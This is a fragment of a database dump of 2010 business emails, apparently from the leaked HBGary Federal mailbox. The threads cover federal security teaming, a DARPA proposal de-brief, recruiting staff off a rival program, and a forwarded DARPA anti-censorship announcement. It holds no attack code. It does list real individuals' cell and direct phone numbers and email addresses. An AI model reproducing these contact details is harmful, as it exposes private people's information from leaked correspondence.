have in\r\nhouse.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe are thinking about chasing some SBIRs and according to Riley you\r\nhave been down this path several times.\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have some initiatives on the Offensive side of the house and\r\nwe might be able to work with you on the solutions we are working on.\r\n\r\n&nbsp;\r\n\r\nWednesday sounds good, let me you what time works for you. Please\r\nremember I am on the East coast. &nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\nShaun Amini\r\n\r\nPresident &amp; CEO\r\n\r\nC5i Corporation\r\n\r\n703 480-4680 - Direct\r\n\r\n703 435-2600 - Main\r\n\r\n571 203-9300 - Fax\r\n\r\ns@c5i.com\r\n\r\nwww.c5i.com\r\n\r\n&nbsp;\r\n\r\n&lt;image001.jpg&gt;&nbsp;GS-35F-0496V \r\n\r\n&nbsp;\r\n\r\nThis transmission may contain information that is privileged,\r\nconfidential, legally privileged, and/or exempt from disclosure under\r\napplicable law.&nbsp; If you are not the intended recipient, you are hereby\r\nnotified that any disclosure, copying, distribution, or use of the information\r\ncontained herein (including any reliance thereon) is STRICTLY PROHIBITED.&nbsp;\r\nAlthough this transmission and any attachments are believed to be free of any\r\nvirus or other defect that might affect any computer system into which it is\r\nreceived and opened, it is the responsibility of the recipient to ensure that\r\nit is virus free and no responsibility is accepted by C5i Corporation, its\r\nsubsidiaries and affiliates, as applicable, for any loss or damage arising in\r\nany way from its use.&nbsp; If you received this transmission in error, please\r\nimmediately contact the sender and destroy the material in its entirety,\r\nwhether in electronic or hard copy format.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Saturday, June 12, 2010 9:14 PM\r\nTo: Shaun S. Amini\r\nSubject: Re: Riley Hassell Intro\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSorry I have been hard to get ahold of. &nbsp;I will be on\r\nthe road all next week. &nbsp;What did you have in mind? &nbsp;Can you talk on\r\nWednesday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 1:35 PM, \"Shaun S. Amini\" &lt;samini@C5i.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nYour\r\ncontact info was given to me by a mutual friend, Riley.&nbsp; I tried calling\r\nyour cell number, but your voice mail was full.&nbsp; I would like to chat with\r\nyou about some opportunities we have coming up and discuss a few other items as\r\nwell.\r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\nShaun Amini\r\n\r\nPresident &amp; CEO\r\n\r\nC5i Corporation\r\n\r\n703 405-9280 - Cell\r\n\r\n703 480-4680 - Direct\r\n\r\n703 435-2600 - Main\r\n\r\n571 203-9300 - Fax\r\n\r\ns@c5i.com\r\n\r\nwww.c5i.com\r\n\r\n&nbsp;\r\n\r\n&lt;image001.jpg&gt;&nbsp;GS-35F-0496V \r\n\r\n&nbsp;\r\n\r\nThis transmission may contain information\r\nthat is privileged, confidential, legally privileged, and/or exempt from\r\ndisclosure under applicable law.&nbsp; If you are not the intended recipient,\r\nyou are hereby notified that any disclosure, copying, distribution, or use of\r\nthe information contained herein (including any reliance thereon) is STRICTLY\r\nPROHIBITED.&nbsp; Although this transmission and any attachments are believed\r\nto be free of any virus or other defect that might affect any computer system\r\ninto which it is received and opened, it is the responsibility of the recipient\r\nto ensure that it is virus free and no responsibility is accepted by C5i\r\nCorporation, its subsidiaries and affiliates, as applicable, for any loss or\r\ndamage arising in any way from its use.&nbsp; If you received this transmission\r\nin error, please immediately contact the sender and destroy the material in its\r\nentirety, whether in electronic or hard copy format.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1631,'aaron_hbgary_com/1631.html'),(7401,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005418.M746257P14101Q2256.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Cyber Genome Proposal De-Brief','Sent from my iPadBegin forwarded message:From: DARPA-BAA-10-36 &lt;DARPA-BAA-10-36@darpa.mil&gt;\r\nDate: June 14, 2010 11:33:17 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Cyber Genome Proposal De-Brief\r\nMr. Barr,Thank you for confirming your attendance, and getting back to me so quickly.No announcement has been made yet, and I don&#39;t have an expected date as to when they will be made.\r\nMatthew KingSETADARPA/STO-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, June 14, 2010 11:29 AMTo: DARPA-BAA-10-36Subject: Re: Cyber Genome Proposal De-BriefHi Matt,Yes we are still planning on attending:\r\nAaron BarrBob SlapnikHave the awardees been announced yet?Thanks,AaronOn Jun 14, 2010, at 11:27 AM, DARPA-BAA-10-36 wrote:\r\nMr. Barr,Just wanted to check and see if you were planning on attending the de-brief for your proposal on 29 Jun 2010. Please confirm with the names of who will be attending.\r\nThank you.Matthew King\r\nSETADARPA/STO-----Original Message-----\r\nFrom: DARPA-BAA-10-36Sent: Monday, May 17, 2010 10:18 AMTo: Aaron Barr\r\nCc: DARPA-BAA-10-36Subject: Cyber Genome Proposal De-Brief\r\nDear Mr. Barr,\r\nAn informal feedback sessions regarding your proposal to DARPA BAA 10-36 has been scheduled on 29 June 2010 at 1045L. The location is the System Planning Corporation (SPC) in Arlington VA (see attached direction sheet).  Please plan on the de-brief lasting no longer than 15 minutes and limit the number of participants to four (4) people or less.\r\nUpon arrival to the SPC building, please proceed to the 5th floor and check in at the visitors desk, where you will receive your Visitors Badge. From here you will be escorted to your meeting.  At this time, 29 June 2010 will be the only date offered for BAA 10-36 informal out-briefs.\r\nPlease RSVP soonest to DARPA-BAA-10-36@darpa.mil with who will be attending from your company.\r\nIf you have any questions/concerns, please contact my Program SETA for this effort, Matthew King at DARPA-BAA-10-36@darpa.mil\r\nMike\r\nMichael VanPutte, Ph.D.\r\nProgram ManagerDefense Advanced Research Projects Agency\r\n\r\nAaron BarrCEO\r\nHBGary Federal Inc.\r\n',1459,'aaron_hbgary_com/1459.html'),(7402,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005418.M992911P14101Q2257.eml','\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,,,','Re: The List','Kathy,NP. &nbsp;When you have had a chance to absorb it &nbsp;I would like to have a conversation on strategy for execution and on the possibilities, if any, for HBGary to hire a few people prior to contract award. &nbsp;As we discussed there are people that would be good competitively to get off the program now that I would like to hire, but I just don\'t have the means to hire at the moment.Chris, there are a number of people on the list that could satisfy what your looking for.AaronOn Jun 14, 2010, at 1:18 PM, Garcia, Kathy (TASC) wrote:Thanks Aaron&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, June 14, 2010 1:08 PMTo:&nbsp;Clair, Chris (TASC)Cc:&nbsp;Pisani, Albert A. (TASC); Garcia, Kathy (TASC); Lovegrove, John (TASC); Ted VeraSubject:&nbsp;Re: The List&nbsp;Chris,&nbsp;OK this might come out somewhat convoluted but I will do my best.&nbsp;Attached is a spreadsheet with People, Skills, Importance, likelyhood to switch and what type of offer. &nbsp;There are a few other people that we didn\'t put on the list, such as the Persian Farsi linguists that work onsite, or the people that work directly for the PM, Dan Lindorf, that would likely not consider any offer.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2309,'aaron_hbgary_com/2309.html'),(7403,'2010-06-14','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005419.M235300P14101Q2258.eml','\"Shaun S. Amini\" <samini@C5i.com>,\"Shaun S. Amini\" <samini@C5i.com>','RE: Riley Hassell Intro','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nShaun &#8211; Contact info for Aaron Barr\r\n\r\naaron@hbgary.com / 719-510-8478\r\n\r\n&nbsp;\r\n\r\nAaron &#8211; Shuan&#8217;s company does computer security services in the\r\nfederal space.&nbsp; Looking at teaming opportunities.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, June 14, 2010 1:21 PM\r\nTo: Shaun S. Amini\r\nCc: bob@hbgary.com; Mike Spohn\r\nSubject: Re: Riley Hassell Intro\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nShaun,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am cc\'n this to bob who is our resident expert on SBIR\r\ngrants. &nbsp;Also, I am cc\'n this to mike spohn who is heading up our IR\r\nservices. &nbsp;Mike comes most recently from foundstone/mcafee. &nbsp;If you\r\nneed cleared individuals on our end, I will need to put you in touch with Aaron\r\nBarr who heads up HBGary Federal and is cleared in the IC. &nbsp;I know that\r\nBob is at the FIRST conference this week. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 14, 2010, at 9:08 AM, &quot;Shaun S. Amini&quot; &lt;samini@C5i.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nThere\r\nare several items I would like to chat about.\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pulling\r\nyou guys into some opportunities we are chasing both in Civilian and DoD space\r\nspecifically in the Incidence Response area.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Using\r\nsome of your tools as part of the set of tools we have in house.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We\r\nare thinking about chasing some SBIRs and according to Riley you have been down\r\nthis path several times.\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We\r\nhave some initiatives on the Offensive side of the house and we might be able\r\nto work with you on the solutions we are working on.\r\n\r\n&nbsp;\r\n\r\nWednesday\r\nsounds good, let me you what time works for you. Please remember I am on the\r\nEast coast. &nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest\r\nRegards,\r\n\r\nShaun\r\nAmini\r\n\r\nPresident\r\n&amp; CEO\r\n\r\nC5i\r\nCorporation\r\n\r\n703\r\n480-4680 - Direct\r\n\r\n703\r\n435-2600 - Main\r\n\r\n571\r\n203-9300 - Fax\r\n\r\ns@c5i.com\r\n\r\nwww.c5i.com\r\n\r\n&nbsp;\r\n\r\n&lt;image001.jpg&gt;&nbsp;GS-35F-0496V \r\n\r\n&nbsp;\r\n\r\nThis\r\ntransmission may contain information that is privileged, confidential, legally\r\nprivileged, and/or exempt from disclosure under applicable law.&nbsp; If you\r\nare not the intended recipient, you are hereby notified that any disclosure,\r\ncopying, distribution, or use of the information contained herein (including\r\nany reliance thereon) is STRICTLY PROHIBITED.&nbsp; Although this transmission\r\nand any attachments are believed to be free of any virus or other defect that\r\nmight affect any computer system into which it is received and opened, it is\r\nthe responsibility of the recipient to ensure that it is virus free and no\r\nresponsibility is accepted by C5i Corporation, its subsidiaries and affiliates,\r\nas applicable, for any loss or damage arising in any way from its use.&nbsp; If\r\nyou received this transmission in error, please immediately contact the sender\r\nand destroy the material in its entirety, whether in electronic or hard copy\r\nformat.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Saturday, June 12, 2010 9:14 PM\r\nTo: Shaun S. Amini\r\nSubject: Re: Riley Hassell Intro\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSorry\r\nI have been hard to get ahold of. &nbsp;I will be on the road all next week.\r\n&nbsp;What did you have in mind? &nbsp;Can you talk on Wednesday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 1:35 PM, &quot;Shaun S. Amini&quot; &lt;samini@C5i.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nGreg,\r\n\r\n&nbsp;\r\n\r\nYour\r\ncontact info was given to me by a mutual friend, Riley.&nbsp; I tried calling\r\nyour cell number, but your voice mail was full.&nbsp; I would like to chat with\r\nyou about some opportunities we have coming up and discuss a few other items as\r\nwell.\r\n\r\n&nbsp;\r\n\r\nBest Regards,\r\n\r\nShaun Amini\r\n\r\nPresident &amp; CEO\r\n\r\nC5i Corporation\r\n\r\n703 405-9280 - Cell\r\n\r\n703 480-4680 - Direct\r\n\r\n703 435-2600 - Main\r\n\r\n571 203-9300 - Fax\r\n\r\ns@c5i.com\r\n\r\nwww.c5i.com\r\n\r\n&nbsp;\r\n\r\n&lt;image001.jpg&gt;&nbsp;GS-35F-0496V \r\n\r\n&nbsp;\r\n\r\nThis transmission may contain information\r\nthat is privileged, confidential, legally privileged, and/or exempt from\r\ndisclosure under applicable law.&nbsp; If you are not the intended recipient,\r\nyou are hereby notified that any disclosure, copying, distribution, or use of\r\nthe information contained herein (including any reliance thereon) is STRICTLY\r\nPROHIBITED.&nbsp; Although this transmission and any attachments are believed\r\nto be free of any virus or other defect that might affect any computer system\r\ninto which it is received and opened, it is the responsibility of the recipient\r\nto ensure that it is virus free and no responsibility is accepted by C5i\r\nCorporation, its subsidiaries and affiliates, as applicable, for any loss or\r\ndamage arising in any way from its use.&nbsp; If you received this transmission\r\nin error, please immediately contact the sender and destroy the material in its\r\nentirety, whether in electronic or hard copy format.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.829 / Virus Database: 271.1.1/2936 - Release Date: 06/14/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9769,'aaron_hbgary_com/9769.html'),(7404,'2010-06-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005419.M487339P14101Q2259.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: DARPA Safer Broad Agency Announcement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you going to go after this?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Edwards\r\n[mailto:John.Edwards@agilex.com] \r\nSent: Friday, June 11, 2010 1:58 PM\r\nTo: Penny Leavy; Greg Hoglund; Aaron Barr\r\nSubject: Fwd: DARPA Safer Broad Agency Announcement\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAnything here of interest? &nbsp;Just checking.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nNeal\r\nSmith &lt;smith@webloq.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nJune\r\n7, 2010 5:44:15 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nJohn\r\nEdwards &lt;John.Edwards@agilex.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nDARPA Safer Broad Agency Announcement\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis BAA\r\ncame to my attention last week. I have read through the entire announcement and\r\nbelieve we already have two out of the three elements that are mentioned in the\r\nintroduction. The first element, preventing an IP address from being black\r\nlisted, is a real challenge but we may be able to come up with a solution and\r\ncould use that research project as the basis for the grant.&nbsp; The next two\r\nelements we already have in our technology. Under the grant, we could also\r\nexpand into the other protocols, which is part of the BAA offering.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWould\r\nAgilex be interested in working with us to attain this grant?&nbsp; I am sure\r\nthat you have staff that have done projects similar to this and if they are\r\navailable, we would have approximately 30 days to work on it prior to submittal.\r\nPlease let me know if this would be of interest and then we can discuss how to\r\nproceed.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSAFER WARFIGHTER COMMUNICATIONS\r\n\r\n\r\n\r\n\r\n\r\nBroad\r\nAgency Announcement\r\n\r\n\r\n\r\n\r\n\r\nDARPA-BAA-10-69\r\n\r\n\r\n\r\n\r\n\r\nMay\r\n20, 2010\r\n\r\n\r\n\r\n\r\n\r\nDue\r\nDate:&nbsp;&nbsp; July 7, 2010\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is the intro………\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPart Two: Full Text of Announcement\r\n\r\n\r\n\r\n\r\n\r\nI. FUNDING OPPORTUNITY DESCRIPTION\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDARPA is soliciting proposals for innovative research to maintain\r\ntechnological superiority in the area of resilient communications, privacy, and\r\nanonymity on the Internet. The proposed research should investigate innovative\r\napproaches that enable revolutionary advances in science, devices, or systems.\r\nSpecifically excluded is research that primarily results in evolutionary\r\nimprovements to the existing state of practice.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\nThe goal of the Safer Warfighter Communications (SAFER) program is\r\nto develop technology that will enable safe, resilient communications over the\r\nInternet, particularly in situations in which a third-party is attempting to\r\ndiscover the identity or location of the end users, or block the communication.\r\nThe technology developed in the program will also provide the quality of\r\nservice (QoS) required to support applications such as instant messaging,\r\nelectronic mail, social networking, streaming video, voice over Internet\r\nprotocol (VoIP), video conferencing, and other media that promote effective\r\ncommunication.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe SAFER program addresses the resilience of information\r\ndistribution and access on the Internet, including any and all technologies\r\nthat allow anonymous Internet communications to bypass techniques that\r\nsuppress, localize, and/or corrupt information such as:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Internet Protocol (IP)-address\r\nfiltering or “blocking,” typically by blacklisting the IP addresses of websites\r\nor other services, possibly by the network operator, to deny the user access\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Domain Naming Service (DNS)\r\nhijacking, redirecting a user to a different website or service from what the\r\nuser intended, by supplying a false reply to the user’s domain name resolution\r\nrequest\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content filtering that captures\r\nand analyzes the content of the user’s network traffic through deep packet\r\ninspection to check whether the traffic contains predefined signatures or\r\nsensitive keywords.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPreparing such a proposal is likely beyond our current resources,\r\nso we need a partner and Agilex is the most likely candidate. They have the\r\nconnections to turn up the real agenda behind this project, and could well be\r\npositioned to make their presence felt.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe submittal date is July 7, so haven’t much time to get this\r\ntogether. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.darpa.mil/tcto/solicitations/BAA-10-69.html\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNeal Smith\r\nPresident &amp; CEO\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n2801\r\nMonterey Highway, Suite H&nbsp;&nbsp;|&nbsp;&nbsp;Monterey, CA 93940\r\np: (831) 372-2600&nbsp;&nbsp;|&nbsp;&nbsp;f: (831)\r\n372-1600&nbsp;&nbsp;|&nbsp;&nbsp;c: (831) 809-4049\r\n\r\n\r\n\r\n\r\n\r\nemail:&nbsp;smith@webloq.com&nbsp;&#8211;&nbsp;smith@webloq.private&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nwww.webloq.com&nbsp;-&nbsp;www.loqmail.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14344,'aaron_hbgary_com/14344.html'),(7405,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005419.M726063P14101Q2260.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: DARPA Safer Broad Agency Announcement','No. &nbsp;I am done for a while with DARPA hard problems. &nbsp;We are going to focus on short term service sales, product sales, probably a few SBIRs, some development work coming up, and some longer term contracts.After the talk tomorrow Ted and I will put together an updated pipeline that identified targets for product and short term incident response sales and then we can discuss the pipeline and funding. &nbsp;Sound good?AaronOn Jun 14, 2010, at 2:12 PM, Penny Leavy-Hoglund wrote:Are you going to go after this?&nbsp;From:&nbsp;John Edwards [mailto:John.Edwards@agilex.com]&nbsp;Sent:&nbsp;Friday, June 11, 2010 1:58 PMTo:&nbsp;Penny Leavy; Greg Hoglund; Aaron BarrSubject:&nbsp;Fwd: DARPA Safer Broad Agency Announcement&nbsp;Anything here of interest? &nbsp;Just checking.&nbsp;Begin forwarded message:From:&nbsp;Neal Smith &lt;smith@webloq.com&gt;Date:&nbsp;June 7, 2010 5:44:15 PM EDTTo:&nbsp;John Edwards &lt;John.Edwards@agilex.com&gt;Subject: DARPA Safer Broad Agency AnnouncementHi John,&nbsp;This BAA came to my attention last week. I have read through the entire announcement and believe we already have two out of the three elements that are mentioned in the introduction. The first element, preventing an IP address from being black listed, is a real challenge but we may be able to come up with a solution and could use that research project as the basis for the grant.&nbsp; The next two elements we already have in our technology. Under the grant, we could also expand into the other protocols, which is part of the BAA offering.&nbsp;Would Agilex be interested in working with us to attain this grant?&nbsp; I am sure that you have staff that have done projects similar to this and if they are available, we would have approximately 30 days to work on it prior to submittal. Please let me know if this would be of interest and then we can discuss how to proceed.&nbsp;SAFER WARFIGHTER COMMUNICATIONSBroad Agency AnnouncementDARPA-BAA-10-69May 20, 2010Due Date:&nbsp;&nbsp; July 7, 2010&nbsp;Here is the intro………&nbsp;Part Two: Full Text of AnnouncementI. FUNDING OPPORTUNITY DESCRIPTION&nbsp;DARPA is soliciting proposals for innovative research to maintain technological superiority in the area of resilient communications, privacy, and anonymity on the Internet. The proposed research should investigate innovative approaches that enable revolutionary advances in science, devices, or systems. Specifically excluded is research that primarily results in evolutionary improvements to the existing state of practice.&nbsp;IntroductionThe goal of the Safer Warfighter Communications (SAFER) program is to develop technology that will enable safe, resilient communications over the Internet, particularly in situations in which a third-party is attempting to discover the identity or location of the end users, or block the communication. The technology developed in the program will also provide the quality of service (QoS) required to support applications such as instant messaging, electronic mail, social networking, streaming video, voice over Internet protocol (VoIP), video conferencing, and other media that promote effective communication.&nbsp;The SAFER program addresses the resilience of information distribution and access on the Internet, including any and all technologies that allow anonymous Internet communications to bypass techniques that suppress, localize, and/or corrupt information such as:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Internet Protocol (IP)-address filtering or “blocking,” typically by blacklisting the IP addresses of websites or other services, possibly by the network operator, to deny the user access&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Domain Naming Service (DNS) hijacking, redirecting a user to a different website or service from what the user intended, by supplying a false reply to the user’s domain name resolution request&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content filtering that captures and analyzes the content of the user’s network traffic through deep packet inspection to check whether the traffic contains predefined signatures or sensitive keywords.&nbsp;Preparing such a proposal is likely beyond our current resources, so we need a partner and Agilex is the most likely candidate. They have the connections to turn up the real agenda behind this project, and could well be positioned to make their presence felt.&nbsp;The submittal date is July 7, so haven’t much time to get this together. &nbsp;&nbsp;http://www.darpa.mil/tcto/solicitations/BAA-10-69.html&nbsp;Best,&nbsp;Neal SmithPresident &amp; CEO&nbsp;&lt;image001.jpg&gt;2801 Monterey Highway, Suite H&nbsp;&nbsp;|&nbsp;&nbsp;Monterey, CA 93940p: (831) 372-2600&nbsp;&nbsp;|&nbsp;&nbsp;f: (831) 372-1600&nbsp;&nbsp;|&nbsp;&nbsp;c: (831) 809-4049email:&nbsp;smith@webloq.com&nbsp;–&nbsp;smith@webloq.private&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.webloq.com&nbsp;-&nbsp;www.loqmail.com&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3886,'aaron_hbgary_com/3886.html'),(7406,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005419.M972666P14101Q2261.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Call w/ Los Alamos','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Ira Entis \r\n> Date: June 13, 2010 3:11:14 PM EDT\r\n> To: Aaron Barr , Jerry McClure \r\n> Subject: Call w/ Los Alamos\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15301,'aaron_hbgary_com/15301.html'),(7407,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005420.M305066P14101Q2262.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Fwd: 4x24 needs your mailing addresses','Please provide some inputs to addresses you might want this sent to.AaronBegin forwarded message:From: Jim Garrettson &lt;jimg@executivebiz.com&gt;Date: June 11, 2010 3:20:09 PM EDTTo: \"Scott  Rogers\" &lt;scott@executivebiz.com&gt;Subject: 4x24 needs your mailing addresses\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) 